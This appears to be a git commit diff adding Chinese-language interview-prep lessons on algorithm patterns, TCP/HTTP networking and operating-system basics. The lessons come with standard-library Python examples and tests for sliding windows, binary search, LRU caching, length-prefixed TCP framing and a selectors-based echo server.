phase 5 part 5: cs algorithms, network-os, web-security topics with tested examples; all 43 stacks pass --strict

This commit is contained in:
Shikui Wang committed 2026-10-23 16:47:11 +08:00
1 parent f695bbd7cc
commit 691f738f5f
22 files changed
+1955 -37

No files matched your search

@@ -0,0 +1,104 @@
---
id: cs.algorithms.complexity-patterns
title: 复杂度分析和九个高频模式:哈希、滑动窗口、二分、堆、BFS、拓扑排序、动态规划、LRU、区间合并
type: lesson
domain: cs
stack: [algorithms]
tags: [时间复杂度, 哈希表, 滑动窗口, 二分查找, 堆, Top K, BFS, DFS, 拓扑排序, 动态规划, LRU]
level: basic
prerequisites: [python.python.index]
est_hours: 6
related: [cs.algorithms.scenario.business-algorithms, cs.algorithms.interview]
week: [16]
order: 1
---
# 复杂度分析和九个高频模式:哈希、滑动窗口、二分、堆、BFS、拓扑排序、动态规划、LRU、区间合并
> BOSS直聘 2026-10-23 的调研中有少数岗位明确提到算法 / 数据结构基础,笔试和一面中出现手写题的情况也不少。目标不是刷几百题,而是**掌握模式、能讲复杂度、写出无 bug 的中等题**。练习平台可用 LeetCode 中国站(力扣)。
## 解释说明
### 复杂度
| 复杂度 | 典型操作 | n = 10⁶ 时的感受 |
| --- | --- | --- |
| O(1) | 哈希表查找、数组下标 | 瞬间 |
| O(log n) | 二分查找、堆操作 | 约 20 步 |
| O(n) | 遍历 | 很快 |
| O(n log n) | 排序 | 可以接受 |
| O(n²) | 双重循环 | 太慢(10¹² 次) |
面试时先说暴力解及其复杂度,再优化,最后说明时间和空间复杂度。
### 九个模式(何时想到它)
| 模式 | 信号 | 例题 |
| --- | --- | --- |
| 哈希表 | “是否出现过”、“计数”、“配对” | 两数之和 |
| 滑动窗口 | 连续子数组 / 子串 + 最长 / 最短 | 无重复字符的最长子串 |
| 二分查找 | 有序、单调、“第一个满足条件的” | lower_bound、搜索旋转数组 |
| 堆 | Top K、动态取最值、合并 K 个有序 | 前 K 个高频元素 |
| BFS | 最短步数、层序遍历 | 网格最短路径 |
| DFS / 拓扑排序 | 依赖关系、是否有环、所有方案 | 课程表 |
| 动态规划 | 最优值 / 方案数、子问题重叠 | 编辑距离、爬楼梯、背包 |
| 设计题 | 要求 O(1) 操作 | LRU 缓存 |
| 排序 + 扫描 | 区间、会议室 | 合并区间 |
### 答题步骤
1. 复述题目,问清边界(空输入、重复、负数、数据规模);
2. 说思路和复杂度,得到认可后再写;
3. 写代码时变量命名清楚;
4. 用一两个例子手动走一遍,包括边界;
5. 说明可以改进的地方。
## 案例
这些模式在业务中经常出现:热门问题统计(堆)、限流的滑动窗口、任务编排的依赖顺序(拓扑排序,LangGraph / CI 流水线都用到)、文本纠错与相似度(编辑距离)、缓存淘汰(LRU)、排班时间段合并(区间合并)。见[企业场景](scenarios/business-algorithms.md)。
## 代码示例
[examples/patterns](examples/patterns/):9 个模式的实现 + 13 个测试(其中二分查找与标准库 `bisect` 随机对拍 200 次)。
滑动窗口:
```python
def longest_unique_substring(s: str) -> int:
last: dict[str, int] = {}
left = best = 0
for right, ch in enumerate(s):
if last.get(ch, -1) >= left:
left = last[ch] + 1
last[ch] = right
best = max(best, right - left + 1)
return best
```
二分查找(左闭右开,最不容易写错的模板):
```python
def lower_bound(arr: list[int], target: int) -> int:
lo, hi = 0, len(arr)
while lo < hi:
mid = (lo + hi) // 2
if arr[mid] < target:
lo = mid + 1
else:
hi = mid
return lo
```
## 易错点
- 二分查找的区间定义混乱(左闭右闭和左闭右开混用),导致死循环或越界。
- 滑动窗口中,重复字符在窗口左边界之外时也移动左边界(例如 "abba")。
- BFS 出队时才标记已访问,导致同一个节点多次入队。
- 递归 DFS 在深度很大时栈溢出(Python 默认递归深度约 1000)。
- 只写出代码不说复杂度。
## 面试常问
- 手写:两数之和、最长无重复子串、二分查找、Top K、LRU、合并区间、课程表、编辑距离 / 爬楼梯。
- 哈希表的原理和冲突处理?
- 快速排序的平均和最坏复杂度?
@@ -0,0 +1,142 @@
"""面试高频算法模式(只用标准库)。每个函数注明时间 / 空间复杂度;`python patterns.py` 运行自检,test_patterns.py 是测试。"""
from __future__ import annotations
import heapq
from collections import Counter, OrderedDict, deque
from typing import Hashable, Iterable
# 1. 哈希表:两数之和 O(n) / O(n)
def two_sum(nums: list[int], target: int) -> tuple[int, int] | None:
seen: dict[int, int] = {}
for i, x in enumerate(nums):
if target - x in seen:
return seen[target - x], i
seen[x] = i
return None
# 2. 滑动窗口:无重复字符的最长子串 O(n) / O(字符集)
def longest_unique_substring(s: str) -> int:
last: dict[str, int] = {}
left = best = 0
for right, ch in enumerate(s):
if last.get(ch, -1) >= left:
left = last[ch] + 1 # 窗口左边界跳到重复字符的下一位
last[ch] = right
best = max(best, right - left + 1)
return best
# 3. 二分查找:第一个 >= target 的位置(lower_bound) O(log n) / O(1)
def lower_bound(arr: list[int], target: int) -> int:
lo, hi = 0, len(arr) # 左闭右开区间 [lo, hi)
while lo < hi:
mid = (lo + hi) // 2
if arr[mid] < target:
lo = mid + 1
else:
hi = mid
return lo
# 4. 堆:出现次数最多的 K 个(例如热门问题) O(n log k) / O(n)
def top_k_frequent(items: Iterable[Hashable], k: int) -> list[Hashable]:
counts = Counter(items)
return [x for _, x in heapq.nlargest(k, ((c, x) for x, c in counts.items()))]
# 5. BFS:网格最短路径(0 可走,1 障碍) O(行×列) / O(行×列)
def shortest_path(grid: list[list[int]], start: tuple[int, int], end: tuple[int, int]) -> int:
rows, cols = len(grid), len(grid[0])
q = deque([(start, 0)])
seen = {start}
while q:
(r, c), d = q.popleft()
if (r, c) == end:
return d
for dr, dc in ((1, 0), (-1, 0), (0, 1), (0, -1)):
nr, nc = r + dr, c + dc
if 0 <= nr < rows and 0 <= nc < cols and grid[nr][nc] == 0 and (nr, nc) not in seen:
seen.add((nr, nc))
q.append(((nr, nc), d + 1))
return -1
# 6. DFS + 拓扑排序:任务依赖的执行顺序(有环返回 None) O(V+E)
def topo_order(deps: dict[str, list[str]]) -> list[str] | None:
"""deps[a] = [b, c] 表示 a 依赖 b 和 c(b、c 要先执行)。"""
state: dict[str, int] = {} # 0/缺省 未访问,1 访问中,2 已完成
order: list[str] = []
def visit(n: str) -> bool:
if state.get(n) == 1:
return False # 回到“访问中”的节点:有环
if state.get(n) == 2:
return True
state[n] = 1
for m in deps.get(n, []):
if not visit(m):
return False
state[n] = 2
order.append(n)
return True
nodes = set(deps) | {m for ms in deps.values() for m in ms}
for n in sorted(nodes):
if not visit(n):
return None
return order
# 7. 动态规划:编辑距离(文本相似度、纠错) O(mn) / O(n)
def edit_distance(a: str, b: str) -> int:
prev = list(range(len(b) + 1))
for i in range(1, len(a) + 1):
cur = [i] + [0] * len(b)
for j in range(1, len(b) + 1):
cur[j] = prev[j - 1] if a[i - 1] == b[j - 1] else 1 + min(prev[j - 1], prev[j], cur[j - 1])
prev = cur
return prev[-1]
# 8. 设计题:LRU 缓存 get/put 均为 O(1)
class LRUCache:
def __init__(self, capacity: int):
self.capacity = capacity
self.data: OrderedDict[Hashable, object] = OrderedDict()
def get(self, key: Hashable) -> object | None:
if key not in self.data:
return None
self.data.move_to_end(key) # 最近使用的移到末尾
return self.data[key]
def put(self, key: Hashable, value: object) -> None:
self.data[key] = value
self.data.move_to_end(key)
if len(self.data) > self.capacity:
self.data.popitem(last=False) # 淘汰最久未使用的(头部)
# 9. 区间合并:合并重叠的时间段(排班、会议室) O(n log n)
def merge_intervals(intervals: list[tuple[int, int]]) -> list[tuple[int, int]]:
out: list[tuple[int, int]] = []
for s, e in sorted(intervals):
if out and s <= out[-1][1]:
out[-1] = (out[-1][0], max(out[-1][1], e))
else:
out.append((s, e))
return out
if __name__ == "__main__":
assert two_sum([2, 7, 11, 15], 9) == (0, 1)
assert longest_unique_substring("abcabcbb") == 3
assert lower_bound([1, 3, 3, 5], 3) == 1
assert top_k_frequent(["退货", "发票", "退货", "物流", "退货", "物流"], 2) == ["退货", "物流"]
assert shortest_path([[0, 0, 0], [1, 1, 0], [0, 0, 0]], (0, 0), (2, 0)) == 6
assert topo_order({"deploy": ["test"], "test": ["build"]}) == ["build", "test", "deploy"]
assert edit_distance("kitten", "sitting") == 3
assert merge_intervals([(1, 3), (2, 6), (8, 10)]) == [(1, 6), (8, 10)]
print("全部自检通过")
@@ -0,0 +1,63 @@
import random
import pytest
from patterns import (LRUCache, edit_distance, longest_unique_substring, lower_bound, merge_intervals,
shortest_path, top_k_frequent, topo_order, two_sum)
def test_two_sum():
assert two_sum([3, 3], 6) == (0, 1)
assert two_sum([1, 2], 10) is None
@pytest.mark.parametrize("s,n", [("", 0), ("bbbb", 1), ("pwwkew", 3), ("abba", 2), ("你好你们好", 3)])
def test_longest_unique(s, n):
assert longest_unique_substring(s) == n
def test_lower_bound_matches_bisect():
import bisect
rng = random.Random(0)
for _ in range(200): # 与标准库对拍
arr = sorted(rng.randint(0, 20) for _ in range(rng.randint(0, 15)))
t = rng.randint(-1, 21)
assert lower_bound(arr, t) == bisect.bisect_left(arr, t)
def test_top_k():
assert top_k_frequent([], 3) == []
assert top_k_frequent(list("aaabbc"), 1) == ["a"]
def test_shortest_path_blocked():
assert shortest_path([[0, 1], [1, 0]], (0, 0), (1, 1)) == -1
assert shortest_path([[0]], (0, 0), (0, 0)) == 0
def test_topo_cycle_and_order():
assert topo_order({"a": ["b"], "b": ["a"]}) is None
order = topo_order({"app": ["db", "cache"], "cache": ["net"], "db": ["net"]})
assert order is not None
pos = {n: i for i, n in enumerate(order)}
assert pos["net"] < pos["db"] < pos["app"] and pos["net"] < pos["cache"] < pos["app"]
def test_edit_distance():
assert edit_distance("", "abc") == 3
assert edit_distance("退货申请", "退款申请") == 1
def test_lru():
c = LRUCache(2)
c.put("a", 1)
c.put("b", 2)
assert c.get("a") == 1 # a 变成最近使用
c.put("c", 3) # 淘汰 b
assert c.get("b") is None and c.get("a") == 1 and c.get("c") == 3
def test_merge_intervals():
assert merge_intervals([]) == []
assert merge_intervals([(1, 4), (4, 5)]) == [(1, 5)]
assert merge_intervals([(5, 6), (1, 2)]) == [(1, 2), (5, 6)]
+23 -3
View File
@@ -4,12 +4,32 @@ title: 数据结构与算法(面试)
type: index
domain: cs
stack: [algorithms]
tags: []
tags: [算法, 数据结构, 复杂度, 手写代码]
week: [16]
---
# 数据结构与算法(面试)
常考数据结构、复杂度、双指针、哈希、二分、BFS/DFS、动态规划入门。
掌握九个高频模式、能讲复杂度、写出无 bug 的中等题。BOSS直聘 2026-10-23 的调研中有岗位提到算法 / 数据结构基础。
> 本专题建设中:课程、企业场景、面试题和示例代码会陆续补充。
## 学习路线
| 顺序 | 课程 | 级别 | 预计 |
| --- | --- | --- | --- |
| 1 | [复杂度分析和九个高频模式:哈希、滑动窗口、二分、堆、BFS、拓扑排序、动态规划、LRU、区间合并](01-complexity-patterns.md) | 基础 | 6 小时 |
## 企业场景
- [业务中的算法:热门问题 Top K、任务依赖排序、相似问题去重和缓存淘汰](scenarios/business-algorithms.md)
## 面试题
- [数据结构与算法面试题](interview.md)
## 示例代码
- [examples/patterns](examples/patterns/):9 个模式的实现和 13 个测试(只用标准库)
## 在 16 周计划中
- [第 16 周:面试冲刺](../../../plan/week16-interview.md)
+67
View File
@@ -0,0 +1,67 @@
---
id: cs.algorithms.interview
title: 数据结构与算法面试题
type: interview
domain: cs
stack: [algorithms]
tags: [算法, 数据结构, 手写代码, 面试]
level: basic
related: [cs.algorithms.complexity-patterns]
week: [16]
---
# 数据结构与算法面试题
## 基础
### 【基础】哈希表的原理是什么?冲突怎么处理?
**参考答案**:通过哈希函数把键映射到数组下标,平均 O(1) 查找。冲突处理:链地址法(同一位置挂链表 / 树)、开放寻址法(探测下一个空位)。负载因子过高时扩容并重新哈希。
**追问**:Python 的 dict 用哪种?→ 开放寻址;从 3.7 起保证插入顺序。
### 【基础】手写二分查找,找第一个大于等于 target 的位置。
**参考答案**:左闭右开 `[lo, hi)`,`arr[mid] < target` 时 `lo = mid + 1`,否则 `hi = mid`,循环条件 `lo < hi`,返回 `lo`。见[示例](examples/patterns/patterns.py)。
**追问**:怎么找最后一个等于 target 的位置?→ 找第一个大于 target 的位置再减 1,并检查该位置的值是否等于 target。
### 【基础】数组和链表的区别?
**参考答案**:数组连续存储,随机访问 O(1),中间插入删除 O(n),缓存友好;链表随机访问 O(n),已知节点时插入删除 O(1),额外的指针开销。
**追问**:LRU 为什么用哈希表 + 双向链表?→ 哈希表 O(1) 定位节点,双向链表 O(1) 移动和删除节点。
## 进阶
### 【进阶】实现 LRU 缓存,get 和 put 都是 O(1)。
**参考答案**:哈希表存键到节点的映射,双向链表维护使用顺序:访问时移到尾部,超容量时删除头部。Python 可用 `OrderedDict.move_to_end` 和 `popitem(last=False)`。
**追问**:多线程下怎么办?→ 加锁,或分段锁降低竞争;如果是分布式缓存,用 Redis 的淘汰策略(`allkeys-lru`)。
### 【进阶】如何从海量数据中找出出现次数最多的 K 个?
**参考答案**:哈希计数 + 大小为 K 的小顶堆,O(n log K)。数据放不进内存时:按哈希分片写入多个文件,分别统计 Top K,再合并。
**追问**:可以接受误差时?→ Count-Min Sketch 等近似计数结构,内存固定。
### 【进阶】怎么判断任务依赖中是否有环?
**参考答案**:DFS 三色标记(未访问、访问中、已完成),遇到“访问中”的节点说明有环;或者 Kahn 算法:不断移除入度为 0 的节点,最后仍有节点未移除说明有环。
**追问**:哪些业务会用到?→ 构建系统、CI 流水线、工作流引擎、数据管道调度。
## 场景题
### 【场景题】现场手写:无重复字符的最长子串。
**参考答案**:滑动窗口,记录每个字符最后出现的位置;遇到重复且在窗口内时,左边界移到重复位置的下一位;每步更新最大长度。O(n)。注意 "abba" 这类重复字符已在窗口外的情况。
**追问**:如果允许最多 K 个不同字符?→ 窗口内用哈希表计数,不同字符数超过 K 时收缩左边界。
### 【场景题】运营后台要显示每小时的热门问题 Top 20,怎么做?
**参考答案**:规范化文本 → 哈希计数 → 堆取 Top K;多实例用 Redis 有序集合按小时分 key 累加并设置过期;语义相近的问题再做聚类合并。详见[业务中的算法](scenarios/business-algorithms.md)。
**追问**:复杂度是多少?→ 计数 O(n),取 Top K 为 O(m log K),m 是不同问题的数量。
@@ -0,0 +1,73 @@
---
id: cs.algorithms.scenario.business-algorithms
title: 业务中的算法:热门问题 Top K、任务依赖排序、相似问题去重和缓存淘汰
type: scenario
domain: cs
stack: [algorithms, redis, langgraph]
tags: [Top K, 拓扑排序, 编辑距离, LRU, 去重, 复杂度]
level: intermediate
prerequisites: [cs.algorithms.complexity-patterns]
est_hours: 1.5
related: [cs.algorithms.interview]
week: [16]
---
# 业务中的算法:热门问题 Top K、任务依赖排序、相似问题去重和缓存淘汰
## 业务背景与问题
AI 客服运营后台需要:
1. 每小时展示用户最常问的 20 个问题(每小时几十万条消息);
2. 知识库导入任务有依赖(先解析、再分块、再嵌入、再建索引),要按正确顺序执行,并发现配置中的循环依赖;
3. 标注 Bad Case 时,大量问题只是错别字或说法略有不同,需要聚合去重;
4. 进程内缓存最近查询的文档,内存有限。
## 约束
- 统计要在秒级完成。
- 去重不能误合并意思不同的问题。
## 方案设计
1. **Top K**:先对问题文本做规范化(去空白、统一全半角),用哈希表计数,再用大小为 K 的堆取前 K,O(n log K);多实例时用 Redis 有序集合 `ZINCRBY` + `ZREVRANGE` 汇总。
2. **任务依赖**:用拓扑排序得到执行顺序,检测到环时拒绝保存配置;同层没有依赖关系的任务可以并行。
3. **相似去重**:先按规范化文本精确去重;再对候选对计算编辑距离(短文本)或向量相似度(语义),超过阈值的合并为一组,人工确认后生效。编辑距离是 O(mn),只对长度相近的候选对计算,避免 O(n²) 两两比较全部。
4. **缓存**:LRU 淘汰;Python 中可直接用 `functools.lru_cache` 或 `OrderedDict` 实现。
## 关键代码
```python
from patterns import edit_distance, top_k_frequent, topo_order
hot = top_k_frequent((normalize(m.text) for m in messages), 20)
order = topo_order({"index": ["embed"], "embed": ["chunk"], "chunk": ["parse"]})
if order is None:
raise ValueError("任务配置存在循环依赖")
def similar(a: str, b: str) -> bool:
if abs(len(a) - len(b)) > 2: # 先用长度剪枝
return False
return edit_distance(a, b) <= max(1, len(a) // 10)
```
完整实现和测试:[examples/patterns](../examples/patterns/)。
## 取舍
| 选择 | 优点 | 缺点 |
| --- | --- | --- |
| **精确计数 + 堆(本方案)** | 结果准确 | 内存随不同问题数增长 |
| 近似算法(Count-Min Sketch 等) | 内存固定 | 有误差 |
| 编辑距离去重 | 适合错别字 | 识别不了同义改写,需要配合向量相似度 |
## 易错点
- 没有规范化就计数,同一问题被拆成多个。
- 对全部问题两两计算相似度,O(n²) 跑不完。
- 去重阈值过松,把“退货”和“退款”合并(它们的编辑距离只有 1,但业务含义不同)——相似度只是候选,需要人工确认或结合业务规则。
## 面试怎么讲
> “运营后台的热门问题,我先做文本规范化,用哈希表计数加大小为 K 的堆取 Top K,复杂度 O(n log K),多实例用 Redis 有序集合汇总。导入任务的依赖用拓扑排序确定顺序并检测环。Bad Case 去重先精确去重,再按长度剪枝后算编辑距离,阈值只产生候选,避免把‘退货’和‘退款’这种只差一个字但意思不同的问题合并。”
+101
View File
@@ -0,0 +1,101 @@
---
id: cs.network-os.http-tcp
title: 网络基础:从输入 URL 到页面展示、TCP 握手挥手与粘包、HTTP/1.1 / 2 / 3、HTTPS、长连接与 SSE
type: lesson
domain: cs
stack: [network-os]
tags: [TCP, 三次握手, 四次挥手, TIME_WAIT, 粘包, HTTP/2, HTTP/3, HTTPS, TLS, DNS, keep-alive, SSE, WebSocket]
level: basic
prerequisites: []
est_hours: 3
related: [cs.network-os.os-basics, cs.network-os.scenario.connection-troubleshooting, devops.nginx.https-stream-limit]
week: [14, 16]
order: 1
---
# 网络基础:从输入 URL 到页面展示、TCP 握手挥手与粘包、HTTP/1.1 / 2 / 3、HTTPS、长连接与 SSE
> BOSS直聘 2026-10-23 的调研中有岗位提到计算机基础(网络 / 操作系统)。前端出身的你对 HTTP 和浏览器很熟,这里补齐 TCP 和服务端视角。
## 解释说明
### 从输入 URL 到页面展示(经典题,按层回答)
1. **DNS 解析**:浏览器缓存 → 系统缓存 / hosts → 递归解析器 → 根 / 顶级域 / 权威服务器,得到 IP。
2. **建立连接**:TCP 三次握手;HTTPS 再进行 TLS 握手(TLS 1.3 为 1 个往返);HTTP/3 基于 QUIC(UDP),连接和加密握手合并。
3. **发送请求**,经过 CDN / 负载均衡 / 网关到达应用服务器。
4. **服务器处理并响应**。
5. **浏览器渲染**:解析 HTML 构建 DOM、CSS 构建 CSSOM、合成渲染树、布局、绘制、合成;遇到同步脚本会阻塞解析。
### TCP
- **三次握手**:SYN → SYN+ACK → ACK。为什么是三次:双方都要确认“对方能收到我发的”,并同步初始序号;两次无法防止过期的连接请求被误建立。
- **四次挥手**:FIN → ACK → FIN → ACK(因为一方关闭发送后,另一方可能还有数据要发)。
- **TIME_WAIT**:主动关闭方等待 2MSL,确保最后的 ACK 能被重传、旧连接的报文消失。短连接高并发时,主动关闭方(常常是作为客户端的服务)会积累大量 TIME_WAIT —— 解决办法是**连接复用**(连接池、keep-alive),而不是盲目修改内核参数。
- **可靠传输**:序号与确认、超时重传、滑动窗口(流量控制)、拥塞控制(慢启动、拥塞避免)。
- **字节流,没有消息边界**:“粘包 / 拆包”是应用层没有定义边界导致的,要用分隔符或长度前缀解决(示例中实际演示)。
### HTTP 演进
| 版本 | 关键点 |
| --- | --- |
| HTTP/1.1 | 持久连接(keep-alive);一个连接同一时间只能处理一个请求(队头阻塞),浏览器对同域开多个连接 |
| HTTP/2 | 二进制分帧、多路复用(一个连接并发多个流)、头部压缩;TCP 层的丢包仍会阻塞所有流 |
| HTTP/3 | 基于 QUIC(UDP),解决 TCP 层队头阻塞,连接迁移(切换网络不断开) |
### HTTPS
TLS 用非对称加密(或密钥交换)协商出会话密钥,再用对称加密传输数据;证书由 CA 签名,客户端校验证书链和域名,防止中间人。
### 长连接推送:轮询、SSE、WebSocket
| 方式 | 方向 | 适合 |
| --- | --- | --- |
| 轮询 | 客户端拉 | 简单、低频 |
| **SSE** | 服务器 → 客户端,基于普通 HTTP,文本事件,浏览器自动重连 | **大模型流式输出**(OpenAI 等接口都用它) |
| WebSocket | 双向,独立协议 | 聊天、协同编辑、实时语音 |
## 案例
AI 对话接口用 SSE 流式返回:经过 Nginx 时要关闭缓冲;HTTP/1.1 下浏览器对同一域名的并发连接数有限(通常 6 个),用户开多个标签页时 SSE 连接可能占满,HTTP/2 下多路复用没有这个问题。
## 代码示例
[examples/tcp-basics](examples/tcp-basics/)(只用标准库):
```text
$ python framing.py
发送方 send 了 3 次(每次 4 字节),接收方一次 recv 收到 12 字节 → 三条消息粘在一起,边界丢失
长度前缀分帧:每次只读 3 字节,仍然还原出 3 条完整消息:['第0条', '第1条', '第2条']
```
增量解码器(`test_framing.py` 用 100 种随机切分验证):
```python
def feed(self, data: bytes) -> list[dict]:
self.buf += data
out = []
while len(self.buf) >= HEADER.size:
(n,) = HEADER.unpack_from(self.buf)
if n > self.max_frame:
raise ValueError("帧长度超过上限")
if len(self.buf) < HEADER.size + n:
break
out.append(json.loads(bytes(self.buf[HEADER.size:HEADER.size + n])))
del self.buf[:HEADER.size + n]
return out
```
## 易错点
- 认为一次 `send` 对应一次 `recv`。
- 为了解决 TIME_WAIT 乱改内核参数,而不是复用连接。
- 把 HTTP/2 的多路复用和 HTTP/1.1 的管线化混为一谈。
- 不设置超时(连接超时、读超时),上游挂起时线程 / 协程被耗尽。
## 面试常问
- 从输入 URL 到页面展示发生了什么?
- 为什么 TCP 握手是三次、挥手是四次?TIME_WAIT 的作用?
- HTTP/1.1、2、3 的区别?
- SSE 和 WebSocket 的区别?大模型流式输出为什么常用 SSE?
+90
View File
@@ -0,0 +1,90 @@
---
id: cs.network-os.os-basics
title: 操作系统基础:进程线程协程、I/O 模型与多路复用、内存与虚拟内存、文件描述符、死锁
type: lesson
domain: cs
stack: [network-os]
tags: [进程, 线程, 协程, GIL, I/O 多路复用, epoll, 虚拟内存, OOM, 文件描述符, 死锁]
level: basic
prerequisites: [cs.network-os.http-tcp]
est_hours: 3
related: [python.asyncio.index, devops.linux.troubleshooting, cs.network-os.interview]
week: [14, 16]
order: 2
---
# 操作系统基础:进程线程协程、I/O 模型与多路复用、内存与虚拟内存、文件描述符、死锁
## 解释说明
### 进程、线程、协程
| | 进程 | 线程 | 协程 |
| --- | --- | --- | --- |
| 资源 | 独立地址空间 | 共享进程的内存 | 共享线程 |
| 切换 | 内核,开销最大 | 内核,开销中等 | 用户态,开销最小 |
| 通信 | 管道、套接字、共享内存 | 共享变量 + 锁 | 共享变量(单线程内无需锁,但要注意 await 之间的状态变化) |
| 例子 | Gunicorn 多 worker | Java 线程池 | Go goroutine(多线程调度)、Python asyncio(单线程) |
**Python 的 GIL**:同一进程中同一时刻只有一个线程执行 Python 字节码;I/O 密集用线程或 asyncio 都可以,CPU 密集用多进程(Python 3.13 起有可选的无 GIL 自由线程构建,3.14 起官方支持,生态仍在适配,以官方文档为准)。
### I/O 模型
- 阻塞 I/O:一个连接占一个线程。
- **I/O 多路复用**(select / poll / **epoll**):一个线程监视大量文件描述符,内核告诉你哪些就绪。Nginx、Redis、Node.js、asyncio 都基于它。
- 异步 I/O(io_uring 等):提交请求,完成后通知。
### 内存
- **虚拟内存**:每个进程看到独立的地址空间,由页表映射到物理内存;缺页时从磁盘加载。
- 栈(函数调用、局部变量)和堆(动态分配)。
- **OOM**:内存不足时内核选择进程杀掉;容器超过内存上限被 OOMKilled(退出码 137)。
### 文件描述符
Linux 中一切皆文件:文件、套接字、管道都是文件描述符(fd)。每个进程有上限(`ulimit -n`),连接泄漏会导致 “Too many open files”。
### 死锁
四个必要条件:互斥、持有并等待、不可抢占、循环等待。预防:固定加锁顺序、加锁超时、减小锁粒度。数据库中的死锁同理(两个事务以相反顺序更新两行)。
## 案例
Python Agent 服务用 Uvicorn(asyncio):大量请求在等待模型返回(I/O),单个进程就能支撑很多并发连接;但如果在请求处理中同步调用了一个耗时的 CPU 操作(例如解析大 PDF),整个事件循环被阻塞,所有请求都卡住 —— 应该放到进程池或单独的任务队列。
## 代码示例
单线程 + `selectors`(Linux 上为 epoll)同时服务 50 个连接([multiplex_server.py](examples/tcp-basics/multiplex_server.py),运行通过):
```python
sel = selectors.DefaultSelector()
sel.register(srv, selectors.EVENT_READ, data=None)
while not stop.is_set():
for key, _ in sel.select(timeout=0.05):
if key.data is None: # 新连接
conn, _ = srv.accept()
conn.setblocking(False)
sel.register(conn, selectors.EVENT_READ, data="client")
else: # 已有连接可读
data = key.fileobj.recv(1024)
...
```
```text
$ python multiplex_server.py
单线程同时服务 50 个连接,全部回显正确
```
## 易错点
- 在 asyncio 中调用阻塞函数(`time.sleep`、同步 HTTP 客户端、CPU 密集计算)。
- 认为多线程一定能提升 Python 的 CPU 密集任务性能。
- 连接、文件打开后不关闭,fd 耗尽。
- 容器内存上限设得过小,进程被 OOMKilled 却在应用日志中找不到原因。
## 面试常问
- 进程、线程、协程的区别?
- 什么是 I/O 多路复用?epoll 相比 select 好在哪里?
- 什么是死锁?怎么避免?
- Python 的 GIL 是什么?对你的服务有什么影响?
@@ -0,0 +1,92 @@
"""TCP 是字节流:演示“粘包 / 拆包”现象,以及用“长度前缀”协议正确分帧。只用标准库,`python framing.py` 运行。
TCP 只保证字节按顺序可靠到达,不保留“消息边界”:发送方 send 了 3 次,接收方可能 1 次 recv 全部收到,
也可能把一条消息分成多次收到。应用层必须自己定义边界:换行分隔(如 SSE、JSON Lines)或长度前缀(如很多 RPC 协议)。
"""
from __future__ import annotations
import json
import socket
import struct
import threading
HEADER = struct.Struct("!I") # 4 字节无符号整数,网络字节序(大端)
def encode(msg: dict) -> bytes:
body = json.dumps(msg, ensure_ascii=False).encode()
return HEADER.pack(len(body)) + body
class FrameDecoder:
"""增量解码:不管数据被怎样切分送进来,都能还原出完整的消息。"""
def __init__(self, max_frame: int = 1 << 20):
self.buf = bytearray()
self.max_frame = max_frame
def feed(self, data: bytes) -> list[dict]:
self.buf += data
out = []
while len(self.buf) >= HEADER.size:
(n,) = HEADER.unpack_from(self.buf)
if n > self.max_frame:
raise ValueError(f"帧长度 {n} 超过上限,可能是攻击或协议错误")
if len(self.buf) < HEADER.size + n:
break # 数据还不完整,等下一次
body = bytes(self.buf[HEADER.size:HEADER.size + n])
del self.buf[:HEADER.size + n]
out.append(json.loads(body))
return out
def demo_sticky() -> int:
"""连续 send 三次小消息,看接收端一次 recv 拿到几段。"""
srv = socket.create_server(("127.0.0.1", 0))
port = srv.getsockname()[1]
received: list[bytes] = []
def server() -> None:
conn, _ = srv.accept()
with conn:
threading.Event().wait(0.2) # 等发送方把三条都发完
received.append(conn.recv(4096))
t = threading.Thread(target=server)
t.start()
with socket.create_connection(("127.0.0.1", port)) as c:
for i in range(3):
c.sendall(f"msg{i}".encode())
t.join()
srv.close()
return len(received[0])
def demo_framed() -> list[dict]:
srv = socket.create_server(("127.0.0.1", 0))
port = srv.getsockname()[1]
got: list[dict] = []
def server() -> None:
conn, _ = srv.accept()
dec = FrameDecoder()
with conn:
while chunk := conn.recv(3): # 故意每次只读 3 字节,模拟拆包
got.extend(dec.feed(chunk))
t = threading.Thread(target=server)
t.start()
with socket.create_connection(("127.0.0.1", port)) as c:
c.sendall(b"".join(encode({"seq": i, "text": f"第{i}条"}) for i in range(3))) # 一次发出,模拟粘包
t.join()
srv.close()
return got
if __name__ == "__main__":
n = demo_sticky()
note = "三条消息粘在一起,边界丢失" if n > 4 else "这次恰好没有粘包,但不能依赖这一点"
print(f"发送方 send 了 3 次(每次 4 字节),接收方一次 recv 收到 {n} 字节 → {note}")
msgs = demo_framed()
assert [m["seq"] for m in msgs] == [0, 1, 2], msgs
print(f"长度前缀分帧:每次只读 3 字节,仍然还原出 {len(msgs)} 条完整消息:{[m['text'] for m in msgs]}")
@@ -0,0 +1,54 @@
"""I/O 多路复用:单线程用 selectors(Linux 上是 epoll)同时服务多个连接的回显服务器。只用标准库,`python multiplex_server.py` 运行自检。
对比“一个连接一个线程”:多路复用由内核告诉我们哪些连接可读,一个线程就能处理大量空闲连接。
Nginx、Redis、Node.js、Python asyncio 的事件循环都建立在这个机制之上。
"""
from __future__ import annotations
import selectors
import socket
import threading
def serve(srv: socket.socket, stop: threading.Event) -> int:
sel = selectors.DefaultSelector()
srv.setblocking(False)
sel.register(srv, selectors.EVENT_READ, data=None)
max_clients = 0
while not stop.is_set():
for key, _ in sel.select(timeout=0.05):
if key.data is None: # 监听套接字可读 = 有新连接
conn, _ = srv.accept()
conn.setblocking(False)
sel.register(conn, selectors.EVENT_READ, data="client")
max_clients = max(max_clients, len(sel.get_map()) - 1)
else:
conn = key.fileobj
data = conn.recv(1024) # type: ignore[union-attr]
if data:
conn.sendall(data.upper()) # type: ignore[union-attr] # 示例简化:小数据量下 sendall 不会阻塞太久
else: # 对端关闭
sel.unregister(conn)
conn.close() # type: ignore[union-attr]
sel.close()
return max_clients
if __name__ == "__main__":
srv = socket.create_server(("127.0.0.1", 0))
port = srv.getsockname()[1]
stop = threading.Event()
result: list[int] = []
t = threading.Thread(target=lambda: result.append(serve(srv, stop)))
t.start()
clients = [socket.create_connection(("127.0.0.1", port)) for _ in range(50)] # 50 个连接同时在线
for i, c in enumerate(clients):
c.sendall(f"hi{i}".encode())
replies = [c.recv(1024).decode() for c in clients]
for c in clients:
c.close()
stop.set()
t.join()
srv.close()
assert replies == [f"HI{i}" for i in range(50)]
print(f"单线程同时服务 {result[0]} 个连接,全部回显正确")
@@ -0,0 +1,23 @@
import random
import pytest
from framing import FrameDecoder, encode
def test_any_split_restores_messages():
msgs = [{"seq": i, "text": "你好" * i} for i in range(20)]
stream = b"".join(encode(m) for m in msgs)
